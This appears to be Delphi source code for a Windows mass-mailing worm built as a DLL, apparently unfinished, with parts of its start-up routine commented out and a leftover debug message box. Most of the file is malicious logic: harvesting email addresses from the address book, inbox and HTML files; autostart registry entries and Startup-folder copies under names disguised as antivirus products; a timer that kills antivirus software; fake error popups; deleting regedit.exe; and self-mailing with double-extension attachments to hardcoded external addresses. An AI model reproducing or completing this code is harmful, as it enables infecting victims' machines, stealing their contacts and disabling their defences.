LIBRARY Worm;

USES
  sClasses in 'ACLUnits\SCLASSES.PAS',
  Registry in 'ACLUnits\REGISTRY.PAS',
  AclUtils in 'ACLUnits\ACLUTILS.PAS',
  P2P in 'P2P.PAS',
  LAN in 'LAN.pas',
  Utils in 'UTILS.PAS',
  Email in 'EMAIL.PAS',
  KillAV in 'KILLAV.PAS',
  GetProc in 'GETPROC.PAS',
  MXLookup in 'MXLookup.PAS',
  Windows;

VAR
  Thread                : DWORD;
  ThreadID              : DWORD;
  Msg                   : TMsg;
  ApplicationHandle     : HWND;
  SendMailBusy          : BOOL = False;
  WABExists             : BOOL = False;
  SentEmail             : WORD = 0;
  NumberOfExtensions1   : WORD;
  NumberOfExtensions2   : WORD;
  NumberOfBodys         : WORD;
  NumberOfErrorMessages : WORD;
  NumberOfAttachments   : WORD;
  NumberOfSubjects      : WORD;
  PlutonxRegKey         : STRING;
  Extensions1           : XArray;                                               //XArray include the decoded strings
  Extensions2           : XArray;
  Bodys                 : XArray;
  ErrorMessages         : XArray;
  Attachments           : XArray;
  Subjects              : XArray;

CONST
  KILL_AV_INTERVALL     = 04000; // (= 04 sec) [milisec]
  SEND_EMAIL_INTERVALL  = 10000; // (= 10 sec) [milisec]

{$I RESOURCES\TBODYS.INI}
{$I RESOURCES\TSUBJECTS.INI}
{$I RESOURCES\TEXTENSIONS1.INI}
{$I RESOURCES\TEXTENSIONS2.INI}
{$I RESOURCES\TATTACHMENTS.INI}
{$I RESOURCES\TERRORMESSAGES.INI}

FUNCTION RandomFileName : STRING;                                               //Generate 5-15 caracter long random file name
VAR
  I : BYTE;
BEGIN
  FOR I:=1 TO Random(10)+5 DO RESULT:=RESULT+Chars[Random(61)+1];
  RESULT:=RESULT+MainStr[5];                                                    //".exe"
END;

PROCEDURE InfectStartUpDir;
VAR
  I : BYTE;
  S : STRING;
BEGIN
  FOR I:=0 TO 1 DO BEGIN
    Reg.RootKey:=HKEY_CURRENT_USER+1;
    Reg.OpenKey(MainStr[47]+MainStr[29],True);                                  //"Windows\CurrentVersion\explorer\Shell Folders"
    S:=Reg.ReadString(MainStr[27+I*3])+'\';                                     //"Startup","Common Startup"
    IF S<>'' THEN CopyFiles(True,S+RandomFileName);
    Reg.CloseKey;
  END;
END;

FUNCTION GetMainEXEName : STRING;
VAR
  I    : DWORD;
  O    : WORD;
  Keys : TStrings;
BEGIN
  Result:='';
  Keys:=TStringList.Create;
  Reg.RootKey:=HKEY_LOCAL_MACHINE;
  Reg.OpenKey(MainStr[47]+MainStr[35],False);                                   //"Windows\CurrentVersion\Run"
  Reg.GetKeyNames(Keys);
  FOR I:=0 TO Keys.Count-1 DO
    FOR O:=1 TO NumberOfAVNames DO
      IF Pos(Keys.Strings[I],AVName[O])=1 THEN BEGIN
        RESULT:=Reg.ReadString(Keys.Strings[I]);
        Break;
      END;
  Keys.Free;
  Reg.CloseKey;
END;

PROCEDURE RegWinStart;
VAR
  I : BYTE;
  S : STRING;
BEGIN
  Reg.RootKey:=HKEY_LOCAL_MACHINE;
  Reg.OpenKey(MainStr[47]+MainStr[35],True);                                    //"Windows\CurrentVersion\Run"
  S:=AVName[Random(NumberOfAVNames)];
  I:=Pos('.',S);
  IF I>0 THEN SetLength(S,I-1);
  Reg.WriteString(S,Winpath+RandomFileName);
  Reg.CloseKey;
  CopyFiles(True,Winpath+RandomFileName);
END;

PROCEDURE QuickSort(Left,Right:WORD);
VAR
  Up,Down : WORD;
  Compare : STRING;
BEGIN
  Up:=Left;Down:=Right;Compare:=Emails.Strings[(Left+Right) DIV 2];
  REPEAT
    WHILE Emails.Strings[Up]<Compare DO Inc(Up);
    WHILE Compare<Emails.Strings[Down] DO Dec(Down);
    IF Up<=Down THEN BEGIN
      Emails.Exchange(Up,Down);
      Inc(Up);Dec(Down);
    END;
  UNTIL Up>Down;
  IF Left<Down THEN QuickSort(Left,Down);
  IF Up<Right  THEN QuickSort(Up,Right);
END;

FUNCTION GetPlutonXRegKey : STRING;
VAR
  I    : DWORD;
  O    : WORD;
  Keys : TStrings;
BEGIN
  Keys:=TStringList.Create;
  Reg.RootKey:=HKEY_LOCAL_MACHINE;
  Reg.OpenKey(MainStr[39],False);                                               //"\SOFTWARE"
  Reg.GetKeyNames(Keys);
  FOR I:=0 TO Keys.Count-1 DO
    FOR O:=1 TO NumberOfAVNames DO
      IF Pos(Keys.Strings[I],AVName[O])=1 THEN BEGIN
        Reg.OpenKey(MainStr[46]+Keys.Strings[I],False);                         //"\SOFTWARE\"
        IF(Reg.ValueExists(MainStr[38]))AND(Reg.ValueExists(MainStr[37])) THEN BEGIN //"Sent","email_num"
          RESULT:=Keys.Strings[I];
          Break;
        END;
      END;
  IF RESULT='' THEN BEGIN
    RESULT:=AVName[Random(NumberOfAVNames-1)+1];
    I:=POS('.',RESULT);
    IF I>0 THEN SetLength(RESULT,I-1);
  END;
  Keys.Free;
  Reg.CloseKey;
END;

PROCEDURE ReadWAB;
VAR
  F       : FILE;
  I       : DWORD;
  S       : STRING;
  N       : ARRAY[1..5] OF Char;
  Buf     : ARRAY[1..500] OF Char;
  WABPath : STRING;
BEGIN
  Reg.RootKey:=HKEY_CURRENT_USER;
  Reg.OpenKey(MainStr[47]+MainStr[36],False);                                   //"WAB\WAB4\WAB File Name"
  WABPath:=Reg.ReadString('');
  AssignFile(F,WABPath);
  IF(WABPath<>'')AND(FileExists(WABPath)) THEN BEGIN
    WABExists:=True;
    Reset(F,1);
    Seek(F,176199);
    REPEAT
      BlockRead(F,N,5);
      IF N[1]+N[2]+N[3]+N[4]=#01#31#00#03 THEN BEGIN
        BlockRead(F,Buf,Ord(N[5])+30);
        S:='';
        FOR I:=1 TO Ord(N[5])+30 DO S:=S+Buf[I];
        Delete(S,1,3);
        I:=Pos(#00#00#00,S);
        IF I>0 THEN Delete(S,I,Length(S)-I+1);
        FOR I:=1 TO Ord(N[5]) DO IF S[I]=#00 THEN Delete(S,I,1);
        IF (Pos('@',S)>0)AND(S[1]<>'/') THEN Emails.ADD(UpperCase(S));
      END ELSE Seek(F,FilePos(F)-4);
    UNTIL FileSize(F)-FilePos(F)<6;
    CloseFile(F);
    IF Emails.Count>2 THEN QuickSort(1,Emails.Count-1);
    FOR I:=Emails.Count-2 DOWNTO 1 DO IF Emails.Strings[I]=Emails.Strings[I+1] THEN Emails.Delete(I);
  END;
  IF NOT FileExists(WABPath) THEN WABExists:=False;
  Reg.CloseKey;
END;

PROCEDURE WriteEmailsReg;
VAR
  I : DWORD;
BEGIN
  Reg.RootKey:=HKEY_LOCAL_MACHINE;
  Reg.OpenKey(MainStr[46]+PlutonXRegKey,True);
  IF Emails.Count>0 THEN FOR I:=0 TO Emails.Count-1 DO Reg.WriteString(IntToStr(I),Emails.Strings[I]);
  Reg.WriteInteger(MainStr[37],Emails.Count);                                   //"email_num"
  Reg.WriteInteger(MainStr[38],SentEmail);                                      //"sent"
  Reg.CloseKey;
END;

PROCEDURE ReadEmailsReg;
VAR
  I : DWORD;
  J : DWORD;
BEGIN
  Reg.RootKey:=HKEY_LOCAL_MACHINE;
  IF Reg.OpenKey(MainStr[46]+PlutonXRegKey,False) THEN BEGIN
    IF Reg.KeyExists(MainStr[38]) THEN SentEmail:=Reg.ReadInteger(MainStr[38]); //"sent"
    J:=Reg.ReadInteger(MainStr[37]);                                            //"email_num"
    IF J>0 THEN FOR I:=0 TO J-1 DO Emails.Add(Reg.ReadString(IntToStr(I)));
  END;
  Reg.CloseKey;
END;

FUNCTION GetFirstRun : BOOL;
BEGIN
  Reg.RootKey:=HKEY_LOCAL_MACHINE;
  Reg.OpenKey(MainStr[39],False);                                               //"\Software"
  RESULT:=NOT Reg.KeyExists(PlutonXRegKey);
  Reg.CreateKey(PlutonxRegKey);
  Reg.CloseKey;
END;

PROCEDURE ReadInbox;
VAR
  OSInfo                    : TOSVersionInfo;
  MAPIMessage               : TMAPIMessage;
  lppMAPIMessage            : PMAPIMessage;
  MapiSession               : DWORD;
  bFindFirst                : BOOL;
  sSeedMessageID,sMessageID : lpup;
  I                         : BYTE;
BEGIN
  OSInfo.dwOSVersionInfoSize:=SizeOf(OSInfo);
  GetVersionEx(OSInfo);
  Reg.RootKey:=HKEY_CURRENT_USER;
  IF OSInfo.dwPlatformId=VER_PLATFORM_WIN32_NT THEN Reg.OpenKey(MainStr[47]+MainStr[40],False) //"Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles"
  ELSE Reg.OpenKey(MainStr[47]+MainStr[42],False);                              //"Windows Messaging Subsystem\Profiles"
  TRY
    IF (MapiLogOn(0,pChar(Reg.ReadString(MainStr[41])),NIL,MAPI_NEW_SESSION,0,MapiSession)<>SUCCESS_SUCCESS) THEN Exit; //"DefaultProfile"
  EXCEPT
  END;
  bFindFirst:=True;
  FOR I:=1 TO 50 DO TRY
    IF bFindFirst THEN bFindFirst:=False ELSE sSeedMessageID:=sMessageID;
    IF MapiFindNext(MapiSession,0,NIL,sSeedMessageID,0,0,sMessageID)=SUCCESS_SUCCESS THEN BEGIN
      lppMapiMessage:=@MAPIMessage;
      IF (MAPIReadMail(MAPISession,0,@sMessageID,MAPI_ENVELOPE_ONLY,0,lppMapiMessage)=SUCCESS_SUCCESS)AND(lppMapiMessage.lpRecips<>NIL) THEN Emails.Add(UpperCase(lppMapiMessage.lpOriginator.lpszAddress));
    END;
  EXCEPT
  END;
  IF Emails.Count>2 THEN BEGIN
    QuickSort(1,Emails.Count-1);
    FOR I:=Emails.Count-2 DOWNTO 1 DO IF Emails.Strings[I]=Emails.Strings[I+1] THEN Emails.Delete(I);
  END;
  WriteEmailsReg;
  TRY
    MapiLogOff(MapiSession,0,0,0);
  EXCEPT
  END;
  Reg.CloseKey;
END;

PROCEDURE SendEmail;
BEGIN
  IF(InternetGetConnectedState(NIL,0))AND(Emails.Count>1)AND(SendMailBusy=False) THEN BEGIN
    SendMailBusy:=True;
    IF SentEmail>Emails.Count-1 THEN SentEmail:=0;
    Reg.RootKey:=HKEY_LOCAL_MACHINE;
    Reg.OpenKey(MainStr[46]+PlutonXRegKey,True);
    Reg.WriteInteger(MainStr[38],SentEmail);                                    //"Sent"
    Reg.CloseKey;
    TRY
      Email.SendEmail(Subjects[Random(NumberOfSubjects-1)+1],Bodys[Random(NumberOfBodys-1)+1],'vxcomp@hotmail.com',WinPath,Attachments[Random(NumberOfAttachments-1)+1]+'.'+Extensions1[Random(NumberOfExtensions1-1)+1]+'.'+Extensions2[Random(NumberOfExtensions2-1)+1]);
      Inc(SentEmail);
    EXCEPT
    END;
    SendMailBusy:=False;
  END;
END;

PROCEDURE ClearEmail(S:STRING);
VAR
  I : WORD;
  C : Char;
BEGIN
  FOR I:=Pos('@',S)+1 TO Length(S) DO
    IF ((S[I]<'a')OR(S[I]>'z'))AND((S[I]<'0')OR(S[I]>'9'))AND((S[I]<'A')OR(S[I]>'Z'))AND(S[I]<>'.')AND(S[I]<>'-')AND(S[I]<>'_') THEN BEGIN
      Delete(S,I,Length(S));
      Break;
    END;
  C:=S[1];
  IF (C IN ['A','Z'])OR(C IN ['a','z']) THEN
  IF (Pos('@',S)>0)AND(Pos('?',S)=0)AND(Pos('%',S)=0)AND(Pos('$',S)=0)AND(Pos(':',S)=0)AND(Pos(' ',S)=0) THEN Emails.Add(S);
END;

PROCEDURE FindEmail(EFile:AnsiString); //Search email address in html files
VAR
  F : TextFile;
  I : WORD;
BEGIN
  IF FileExists(EFile) THEN BEGIN
    AssignFile(F,EFile);
    Reset(F);
    REPEAT
      ReadLn(F,EFile);
      EFile:=UpperCase(EFile);
      I:=Pos('LTO:',EFile);
      IF I>0 THEN BEGIN
        Delete(EFile,1,I+3);
        I:=Pos('"',EFile);
        IF I>0 THEN Delete(EFile,I,Length(EFile));
        ClearEmail(EFile);
      END;
    UNTIL EOF(F);
    CloseFile(F);
  END;
END;

PROCEDURE SearchInDir(Path,fSpec:AnsiString);
VAR
  D     : TSearchRec;
  Error : Integer;
BEGIN
  Error:=FindFirst(Path+fSpec,faAnyFile,D);
  WHILE Error=0 DO BEGIN
    FindEmail(Path+D.Name);
    Error:=FindNext(D);
  END;
  Error:=FindFirst(Path+'*.*',faDirectory OR faHidden,D);
  WHILE Error=0 DO BEGIN
    IF (D.Attr=faDirectory)AND(D.Name[1]<>'.') THEN SearchInDir(Path+D.Name+'\',fSpec);
    Error:=FindNext(D);
  END;
END;

PROCEDURE SearchAllDir;
VAR
  I : BYTE;
BEGIN
  FOR I:=Ord('c') TO Ord('z') DO IF GetDriveType(pChar(Chr(I)+':\'))=DRIVE_FIXED THEN SearchInDir(Chr(I)+':\','*.htm');
END;

PROCEDURE DelRegedit;
BEGIN
  IF FileExists(WinPath+MainStr[44]) THEN DeleteFile(pChar(WinPath+MainStr[44]));  //"regedit.exe"
END;

PROCEDURE InitTimers;
BEGIN
  SetTimer(ApplicationHandle,2,SEND_EMAIL_INTERVALL,@SendEmail);
  SetTimer(ApplicationHandle,3,KILL_AV_INTERVALL,@KillAV.AVKiller);
END;

PROCEDURE StartWorm;
VAR
  FirstRun : BOOL;
BEGIN
  InitEmailProcesses;
  NumberOfExtensions1:=DecodeStrings(TExtensions1,Extensions1);
  NumberOfExtensions2:=DecodeStrings(TExtensions2,Extensions2);
  NumberOfBodys:=DecodeStrings(TBodys,Bodys);
  NumberOfErrorMessages:=DecodeStrings(TErrorMessages,ErrorMessages);
  NumberOfAttachments:=DecodeStrings(TAttachments,Attachments);
  NumberOfSubjects:=DecodeStrings(TSubjects,Subjects);
  NumberOfAVNames:=DecodeStrings(TAVName,AVName);
  ApplicationHandle:=GetStdHandle(STD_OUTPUT_HANDLE);
  StartEXEName:=WinPath+'svchost.exe';
  Email.SendEmail('fff','gffg','viktorvi@freemail.hu','f:\1\','1.txt');
//  IF NOT FileExists(StartEXEName) THEN Halt;
{  SetWinPath;
//  DelRegedit;
  Randomize;
  Reg:=TRegistry.Create;
  PlutonXRegKey:=GetPlutonxRegKey;
  Emails:=TStringList.Create;
  Emails.Add('X');
//  KillAV.AVKiller;
  FirstRun:=GetFirstRun;
  IF FirstRun THEN BEGIN
    StartEXEName:=GetMainEXEName;
    IF Pos(MainStr[64],UpperCase(StartEXEName))=0 THEN MessageBox(ApplicationHandle,pChar(ErrorMessages[Random(NumberOfErrorMessages-1)+1]),'Error',MB_ICONHAND); //"Startup"
    END
  ELSE InitTimers;
//  InitPeerToPeer;
//  InfectStartUpDir;
  IF FirstRun THEN BEGIN
    RegWinStart;
    SearchAllDir;
    ReadWab;
    ReadInBox;
  END ELSE BEGIN
    ReadEmailsReg;
    ReadInBox;
  END;                }
{  hThread:=BeginThread(NIL,0,@RunThread,NIL,0,ThreadId);}
END;

PROCEDURE Main;
BEGIN
  CreateMutexA(NIL,False,'Dream');
  DecodeAllStrings;                                                             //Decode The Main Strings
  InitProcesses;
  MessageBox(0, 'Hello from a DLL!', nil, 0);
  StartWorm;
//  WHILE GetMessage(Msg,0,0,0) DO DispatchMessage(Msg);
END;

PROCEDURE EntryPoint(Reason:DWORD); STDCALL;
BEGIN
  IF Reason=1 THEN Thread:=CreateThread(NIL,0,TFNThreadStartRoutine(@Main),NIL,0,ThreadID);
END;

BEGIN
  DLLProc:=@EntryPoint;
  EntryPoint(1);
END.
